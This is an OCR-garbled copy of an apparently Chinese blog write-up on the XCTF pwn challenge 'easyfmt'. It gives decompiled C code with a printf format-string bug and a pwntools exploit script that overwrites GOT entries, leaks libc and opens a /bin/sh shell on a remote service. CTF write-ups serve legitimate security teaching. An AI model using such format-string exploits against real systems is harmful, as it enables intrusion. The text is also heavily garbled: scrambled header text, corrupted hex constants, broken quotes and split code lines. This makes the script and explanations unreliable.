[ XCTF-pwn] 25 easyfmt

A1 T 4t F 2022-03-08 21:00:00 /77 62 W5
RLHE: CTF pwn CEARSE: LA

AR ASONTE R @IS0, J8AE_CC 4.0 BY-SA AU, Fe@im it BJESCH A BERAA TR B
A SCEERE:  hitpsy/blog.csdn.net/weixin_ 5264041 5/article/details/123345867

FERAL

R CTF pwn LA M2

145 0% 0 111

R

&AM 77 IR, got.exithhE, got.printf#F

XL FEE R, e B igot.exit ymainid AJEH IF I TRlibetll, PR printfid A system, B4 A/bin/sh

int _ cdecl _ noreturn main(int argc, const char **argv, const char **envp)
{

char buf[264]; // [rsp+10h] [rbp-1106h] BYREF

unsigned _ int64 v4; // [rsp+118h] [rbp-8h]

v4 = _ readfsqword(0x28u);
setvbuf(_bss_start, OLL, 2, OLL);
setvbuf(stdin, eLL, 1, OLL);
puts("welcome to haerbin~");
if ( CheckIn() )
{
memset(buf, 0, 0x100uLL);
write(1l, "slogan: ", 9uLL);
read(0, buf, 0x100uLL);
printf(buf);
}
puts("bye~");
exit(0);
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_BOOL8 CheckIn()

{
unsigned int ve@; // eax
unsigned _ int8 v2; // [rsp+@h] [rbp-306h]
__int64 buf; // [rsp+1@h] [rbp-26h] BYREF
__inti6 v4; // [rsp+18h] [rbp-18h]
unsigned _ int64 v5; // [rsp+28h] [rbp-8h]

v5 = _ readfsqword(0x28u);
vO = time(OLL);

srand(ve);

v2 = rand() % 5 + 48;
printf("enter:");

buf = OLL;

v4 = 0;

read(0, &buf, OxAuLL);
return (_BYTE)buf == v2;
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TEEexp:

from pwn import *

def connect(local=1):
global p,libc_elf,libc_start_main_ret,one

if local ==
p = process('./pwn')
libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.s0")
one = [@x45216, 0x4526a, Oxf02a4, 0xf1147 ]
libc_start_main_ret = 0x270b3
else:
p = remote('111.200.241.244"', 51715)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23 amd64/1ibc6_2.23-0ubuntul®_amd64.so"')
one = [@x45216, 0x4526a, 0Oxf02a4, Oxf1147 ]
libc_start_main_ret = 0x20830

elf = ELF('./pwn")

context.arch = 'amd64'

context.log level = ‘'debug’

@x0@007ffd430a3270|+0xeeee: 0x00007ffd430a3488 - 0x00007ffd430a541f - 0x4853006e77702f2e ("./pwn"?) «
9x@@@@7ffd430a3278|+0x@008: 0x0000000100000000

@x@@@@7ffd430a3280|+0x0010: "AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n" #8
0x00007ffd430a3380 | +0x0110: 0xB0007ffd430a3480 - 0x00B0000000000001 #40
0x00007ffd430a3388 | +0x0118: @xbaf6d2e549b53b08 #41

@x@@@@7ffd43@a3390|+0x0120: 0x0000000000000000 <« $rbp
exeeee7ffd430a3398|+0x0128: 0x00007f3e5al10fOb3 ~-» <_ libc_start_main+243> mov e #43
def pwn():

p.recvline()

p.sendlineafter(b"enter:", b'1l")

data = p.recv()

print('R:', data)

if b'bye' in data:

raise('no")



#payload
offset =
#payload = fmtstr_payload(8, {elf.got['exit']:elf.sym['main']}) + b',%43%p,"'

#print(payload)

payload = b'%2310c%12$11n%58c%13%$hhn,%43%$p, ' .1just(0x20, b'A') + p64(elf.got['exit']) + p64(elf.got['ex
p.sendline(payload)

p.recvuntil(b’,")

b ' AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-2%p "

o]

libc_base = int(p.recvuntil(b',', drop=True), 16) - libc_start_main_ret
libc_elf.address = libc_base
print('libc:"', hex(libc_base))

while True:
p.sendlineafter(b"enter:", b'1")
data = p.recv()
if b"slogan: "
break

in data:

payload = fmtstr_payload(8, {elf.got['printf']:1libc_elf.sym['system']})
p.sendline(payload)

while True:
p.sendlineafter(b'sh: 1: enter:: not found\n', b'l")
data = p.recv()
if b"slogan: "
break

in data:

p.sendline(b'/bin/sh\x00")

p.interactive()

while True:

try:
connect(0)
pwn ()

except KeyboardInterrupt as e:
exit()

except:
p.close()
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